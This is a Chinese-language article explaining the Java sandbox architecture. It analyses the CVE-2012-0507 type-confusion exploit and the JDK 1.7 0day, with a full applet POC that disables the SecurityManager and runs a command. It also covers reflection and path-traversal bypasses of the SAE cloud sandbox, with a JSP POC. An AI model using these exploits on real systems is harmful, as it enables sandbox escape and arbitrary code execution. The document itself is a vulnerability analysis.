1.概述
本文介紹了JAVA虛擬機一些安全基礎,第四節介紹了兩個非常著名的JAVA 0day,分析了cve-2012-0507 漏洞原理和jdk1.70day漏洞,這兩個漏洞被廣泛應用於瀏覽器掛馬。第五節介紹了java大牛lxlzx對新浪雲平臺SAE的五次繞過。
Java從JDK 1.0開始實現了一套沙箱環境,主要應用於Applet,使遠程的非可信代碼只能在受限的環境下執行。Java沙箱 安全建立在 Java 運行時環境的三個基本方面的基礎上:ByteCode Verifier(字節碼驗證器)、Security Manager(安全管理器)以及 ClassLoader(類裝入器)。
ByteCode Verifier 確保所下載的代碼被恰當地格式化,字節碼(“Java 虛擬機”指令)沒有違反這種語言或虛擬機的安全限制(無非法數據轉換),沒有執行指針尋址,內部堆棧不能溢出或下溢,以及字節碼指令將擁有正確的類型參數。
Security Manager 在嘗試執行文件 I/O 和網絡 I/O、創建新的ClassLoader、操作線程或線程組、啓動底層平臺(操作系統)上的進程、終止“Java 虛擬機”、將非 Java 庫(本機代碼)裝入到 JVM、完成某種類型的窗口系統操作以及將某種類型的類裝入到 JVM 中時發起運行時訪問控制。
Java程序(class文件)並不是本地的可執行程序。當運行Java程序時,首先運行JVM(Java虛擬機),然後再把Java class加載到JVM裏頭運行,負責加載Java class的這部分就叫做Class Loader。當運行一個程序的時候,JVM啓動,運行bootstrapclassloader,該ClassLoader加載java核心API(ExtClassLoader和AppClassLoader也在此時被加載),然後調用ExtClassLoader加載擴展API,最後AppClassLoader加載CLASSPATH目錄下定義的Class,這就是一個程序最基本的加載流程。
2. SecurityManager
安全管理器爲JAVA沙箱安全最核心的部分,SecurityManager類包含了大量訪問控制的方法。開啓安全管理器意味着程序將在沙箱環境下運行,命令行下運行java程序可通過如下選項來啓動安全管理器。
java -Djava.security.manager classname
2.1 Policy
策略是指某些代碼對某些資源具有某些操作權限,策略放在策略文件中,策略文件包含了將代碼來源映射爲權限的指令。下面是一個典型的策略文件:
grant codeBase “http://lanz.sinaapp.com”
{
permission java.io.FilePermission “/tmp/*”, “read,write”;
};
該文件給所有下載自http://www.2cto.com的代碼授予在/tmp目錄下讀取和寫入文件的權限。
默認情況下,有兩個位置可以安裝策略文件:
- Java平臺主目錄的java.policy文件
- 用戶主目錄的.java.policy文件(注意文件名前面的圓點)。
2.2 permission
Permission類表示對系統資源的訪問權限。如下述代碼Permission 實例perm表示對tmp目錄下的可讀權限。
Permisson perm=new java.io.FilePermission(“/tmp/”,”read”);
2.3 PermissionCollection
PermissionCollection表示一個Permission的集合
2.4 Permissions
Permissions是 PermissionCollection的擴展,表示PermissionCollection的集合。
2.5 ProtectionDomain
ProtectionDomain 稱之爲安全域,相當於動態的policy策略集
(dynamic security policies , regardless of the Policy in force )
2.6 AccessController
權限控制器有3個用途:
- 基於當前生效的安全策略決定是允許還是拒絕對關鍵系統資源的訪問
- 可以將調用方標記爲享有“特權”(請參閱 doPrivileged 及下文)。在做訪問控制決定時,如果遇到通過調用不帶上下文參數的 doPrivileged 調用方,則 checkPermission 方法將停止檢查
- 有時,本來應該在給定上下文中進行的安全性檢查實際需要在另一個 上下文中(例如,在 worker 線程中)完成。getContext 方法和 AccessControlContext 類是針對這種情況提供的。
2.7 AccessControlContext
AccessControlContext爲上下文權限控制器,含成員變量ProtectionDomain,其主要操作爲checkPermission()函數。
2.8 提權代碼
Permissioins perm = new Permissions();
perm.add(new AllPermission());
ProtectionDomain pdomain = new ProtectionDomain(new CodeSource(new URL(“file:///”), new Certificate[0]), perm);
AccessControlContext acc = new AccessControlContext(new ProtectionDomain[] { pDomain });
3 ClassLoader
Java程序(class文件)並不是本地的可執行程序。當運行Java程序時,首先運行JVM(Java虛擬機),然後再把Java class加載到JVM裏頭運行,負責加載Java class的這部分就叫做Class Loader。
每個Java程序至少擁有三個類加載器:
- Bootstrap ClassLoader 引導類加載器
- Extension ClassLoader 擴展類加載器
- App ClassLoader 應用類加載器
引導類加載器負責加載系統類(通常從JAR文件rt.jar中進行加載)。它是虛擬機整體中的一部分,而且通常是用C語言來實現的。引導類加載器沒有對應的ClassLoader對象。
擴展類加載器用於從jre/lib/ext目錄加載”標準的擴展”。可以將JAR文件放入該目錄,這樣即使沒有任何類路徑,擴展類加載器也可以找到其中的各個類。(有些人推薦使用該機制來避免”可惡的類路徑”,不過請看看下面提到的警告事項。)
應用類加載器用於加載應用類。它在由CLASSPATH環境變量或者-classpath命令行選項設置的類路徑中的目錄裏或者是JAR/ZIP文件裏查找這些類。
每個線程都有一個對類加載器的引用,稱爲上下文類加載器。主線程的上下文類加載器是應用類加載器。當新線程創建時,它的上下文類加載器會被設置成爲創建線程的上下文類加載器。因此,如果你不做任何特殊的操作,那麼所有線程就都將它們的上下文類加載器設置爲應用類加載器。
但是,我們也可以通過下面的調用將其設置成爲任何類加載器
Thread t = Thread.currentThread();
t.setContextClassLoader(loader);
然後助手方法可以獲取這個上下文類加載器:
Thread t = Thread.currentThread();
ClassLoader loader = t.getContextClassLoader();
Class cl = loader.loadClass(className);
如果要編寫自己的類加載器,只需要繼承ClassLoader類,然後覆蓋下面這個方法
findClass(String className)
ClassLoader超類的loadClass方法用於將類的加載操作委託給其父類加載器去進行,只有當該類尚未加載並且父類加載器也無法加載該類時,才調用findClass方法。這種方法也稱之爲雙親代理模式,可以保證系統類被上層的加載器加載而不至引起混亂。
ClassLoader 中與加載類幾個重要的方法:
- getParent() 返回該類加載器的父類加載器。
- loadClass(String name) 加載名稱爲 name 的類,返回的結果是 java.lang.Class 類的實例。
- findClass(String name) 查找名稱爲 name 的類,返回的結果是 java.lang.Class 類的實例。
- findLoadedClass(String name) 查找名稱爲 name 的已經被加載過的類,返回的結果是 java.lang.Class 類的實例。
- defineClass(String name, byte[] b, int off, int len) 把字節數組 b 中的內容轉換成 Java 類。
protected synchronized Class loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
// 首先檢查該name指定的class是否有被加載
Class c = findLoadedClass(name);
if (c == null) {
try {
if (parent != null) {
//如果parent不爲null,則調用parent的loadClass進行加載
c = parent.loadClass(name, false);
} else {
//parent爲null,則調用BootstrapClassLoader進行加載
c = findBootstrapClass0(name);
}
} catch (ClassNotFoundException e) {
//如果仍然無法加載成功,則調用自身的findClass進行加載
c = findClass(name);
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
在JVM加載類的時候,需要經過三個步驟,裝載、鏈接、初始化。裝載就是找到相應的class文件,讀入JVM,初始化就不用說了,最主要就說說連接。
連接分三步,第一步是驗證class是否符合規格,第二步是準備,就是爲類變量分配內存同時設置默認初始值,第三步就是解釋,而這步就是可選的,根據上面loadClass方法的第二個參數來判定是否需要解釋,所謂的解釋根據《深入JVM》這本書的定義就是根據類中的符號引用查找相應的實體,再把符號引用替換成一個直接引用的過程。
通過loadClass加載類實際上就是加載的時候並不對該類進行解釋,因此也不會初始化該類。而Class類的forName方法則是相反,使用forName加載的時候就會將Class進行解釋和初始化
4.SE沙箱繞過
4.1 cve-2012-0507
其核心代碼如下:
String[] arrayOfString = { “ACED0005757200135B4C6A6176612E6C616E672E4F62″, “6A6563743B90CE589F1073296C020000787000000002″, “757200095B4C612E48656C703BFE2C941188B6E5FF02″, “000078700000000170737200306A6176612E7574696C”, “2E636F6E63757272656E742E61746F6D69632E41746F”, “6D69635265666572656E63654172726179A9D2DEA1BE”, “65600C0200015B000561727261797400135B4C6A6176″, “612F6C616E672F4F626A6563743B787071007E0003″ };
StringBuilder localStringBuilder = new StringBuilder();
for (int i = 0; i < arrayOfString.length; i++)
{
localStringBuilder.append(arrayOfString[i]);
}
ObjectInputStream localObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(localStringBuilder.toString())));
Object[] arrayOfObject = (Object[])(Object[])localObjectInputStream.readObject();
Help[] arrayOfHelp = (Help[])(Help[])arrayOfObject[0];
AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)arrayOfObject[1];
ClassLoader localClassLoader = getClass().getClassLoader();
localAtomicReferenceArray.set(0, localClassLoader);
Help.doWork(arrayOfHelp[0]);
代碼中先將arrayOfString 化成了arrayOfObject,其內容如下所示:
可以看到,這裏有兩個Object,一個是Help類,一個是AtomicReferenceArray。所以纔有了下面的類型轉換,而且只能轉換成Help類和AtomicReferenceArray類,Help類爲自定義classloader,稍後會講到。
Help[] arrayOfHelp = (Help[])(Help[])arrayOfObject[0];
AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)arrayOfObject[1];
其中AtomicReferenceArray已經指向了arrayOfObject[0],所以當set時,改變的是arrayOfObject[0]。ClassLoader localClassLoader = getClass().getClassLoader();
localAtomicReferenceArray.set(0, localClassLoader);
此時,在JVM看來arrayOfObject[0]是Help類,但實際內容卻爲localClassLoader,即高權限的ClassLoader,即所謂的類混淆。
將此classloader傳入Help函數中
Help.doWork(arrayOfHelp[0]);
Help函數調用了所傳入參數的defineclass函數來自定義高權限的類。注意defineclass在classloader中屬於私有函數,而在自定義的classloader函數Help中卻定義爲公有函數。這樣,在JVM看來,這裏調用的defineclass是Help類的公有的defineclass,而實際執行的確實原classloader的私有的defineclass。所謂類混淆漏洞利用的極致正在於此。
4.2 JDK1.7 0day
其
POC代碼爲:
package cve2012_java_0day;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, “setSecurityManager”, new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(“file:///”), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, “acc”, localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, “forName”, arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass(“sun.awt.SunToolkit”), “getField”, arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void init()
{
try
{
disableSecurity();
Process localProcess = null;
String command=”cmd.exe /c lanz.exe”;
localProcess = Runtime.getRuntime().exec(command);
//C:\\Users\\hp\\workspace\\cve2012_java_0day\\src\\cve2012_java_0day\\calc.exe
//calc.exe
if(localProcess != null);
localProcess.waitFor();
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString(“Loading”, 50, 25);
}
}
能夠成功利用在於在jdk1.7中可以通過GetClass獲取到sun.awt.SunToolkit這個類,這個類中有個getField函數,是public的,且更爲致命的是該getField函數中,有doPrivilege()操作,可以繞過安全檢查。代碼如下所示:
public static Field getField(final Class klass, final String fieldName)
{
return AccessController.doPrivileged(new PrivilegedAction<Field>()
{ public Field run()
{
try {
Field field = klass.getDeclaredField(fieldName);
assert (field != null);
field.setAccessible(true);
return field;
} catch (SecurityException e)
{
assert false;
} catch (NoSuchFieldException e)
{
assert false;
}
return null;
}//run
});
}
所以POC中最關鍵的代碼就是這幾句了:
Expression localExpression = new Expression(GetClass(“sun.awt.SunToolkit”), “getField”, arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
首先,通過Expression的執行,得到Statement.class的 acc字段。其中,acc爲Statement.class的私有成員,是AccessControlContext類型。
其次,通過反射的set函數將acc字段設置爲高權限的AccessControlContext。如何得到高權限AccessControlContext已經很熟悉了。
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(“file:///”), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {localProtectionDomain});
最後,通過賦予高權限的statement的執行,將setSecurityManager設爲了空,完美地繞過了沙箱。
5. SAE沙箱繞過
kxlzx連續 5次的SAE沙箱繞過,分別利用的原理如下:
5.1 CVE-2012-0507
第一次繞過完全利用了CVE-2012-0507 ,略
5.2 createClassLoader
通過一個簡單的測試可知,在默認沙箱環境下,是禁止調用createClassLoader的
但是,SAE可能是爲了支持spring,開放了createClassLoader的權限,導致漏洞產生
1、新建一個ProtectionDomain,加入allPermissions權限,這就是所有權限都有了。
2、把這個ProtectionDomain賦予ExpPermissions2這個類。
3、新建一個類,叫做Mypolicy,這個類繼承policy,用於加權限。
5.3 createClassLoader
在上一個漏洞中,SAE採取的修復方案:SAE禁用了runtime.exec函數,這等於沒有修復
繞過1: 可以讀取文件
繞過2:用C語言寫了一個動態庫,用來執行命令
System.load(“/root/javaso/libLoadlab.so”);
5.4 SaeSecurityManager
SAE的JAVA環境中,有個Class,叫做”com.sina.sae.security.SaeSecurity”,這個Class,像是做驗證的,裏面有方法“checkRead”。
這讓作者想起了文件下載漏洞。繞過任意文件下載漏洞,有無數前輩的經驗,最常見的思路,當然是“/../”了。
一次成功!
5.5 反射修改屬性
POC如下:
<%@page import=”java.io.*,java.net.*,java.lang.reflect.*”%>
<%
SecurityManager security = System.getSecurityManager();
//ClassLoader cl = Thread.currentThread().getContextClassLoader();
try {
Class c = System.getSecurityManager().getClass();
%><%=c.toString()%><%
Field[] f=c.getDeclaredFields();
for(int i=0;i <f.length;i++)
{
f[i].setAccessible(true);
%><%=f[i].getType()+”|”+f[i].getName()%><br><%
try{
f[i].set(System.getSecurityManager(),new String[]{“/”});
}catch (Exception e) {
%><%=e%><%
}
}
%><%=”———————————-”%><br><%
for(int i=0;i <f.length;i++)
{
%><%=f[i].getType()+”|”+f[i].getName()%><br><%;
}
} catch (Exception e) {
%><%=e%><%
}
%>
<%=security.toString()%>
通過getDeclaredFields()獲取當前SecurityManager()的成員變量。如下所示,rwPath、readPath等是成員名稱,類型是String。從字面意思猜測,rwPath爲可讀寫目錄,readPath爲只讀目錄等。
通過反射作者強行修改了它們的值,想要把他們設爲new String[]{“/”});即linux根目錄,這樣就可以讀寫所有目錄和文件了。
本來通過SET只可以修改public的變量,但恰好SAE沙盒允許“suppressAccessChecks”權限,則可通過setAccessible(true)來修改private的變量
參考
http://docs.oracle.com/javase/6/docs/technotes/guides/security/spec/security-spec.doc1.html《JAVA核心技術卷II》http://www.personal.kent.edu/~hli4/tech/javasecurity.htmhttp://www.inbreak.net